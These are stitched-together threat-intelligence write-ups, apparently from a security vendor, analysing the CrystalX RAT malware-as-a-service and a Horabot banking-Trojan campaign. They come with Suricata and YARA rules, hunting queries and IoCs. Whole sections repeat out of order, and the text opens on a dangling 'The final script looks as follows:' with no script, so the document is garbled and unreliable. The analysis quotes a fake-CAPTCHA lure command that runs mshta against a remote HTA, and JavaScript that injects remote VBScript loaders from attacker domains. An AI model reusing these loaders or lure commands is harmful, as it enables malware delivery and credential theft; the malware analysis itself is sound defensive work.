
The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

• Setting a background: downloading an image from a specified URL and using it as the desktop background.
• Display orientation: rotating the screen 90°, 180°, or 270°.
• System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
• Remapping mouse buttons: swapping left click with right click and the other way round.
• Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
• Notifications: displaying a window with a custom title and message.
• Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
• Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

• MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
• VM detect: checking running processes, presence of guest tools, and hardware characteristics
• Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
• Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.

The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

• Setting a background: downloading an image from a specified URL and using it as the desktop background.
• Display orientation: rotating the screen 90°, 180°, or 270°.
• System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
• Remapping mouse buttons: swapping left click with right click and the other way round.
• Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
• Notifications: displaying a window with a custom title and message.
• Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
• Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

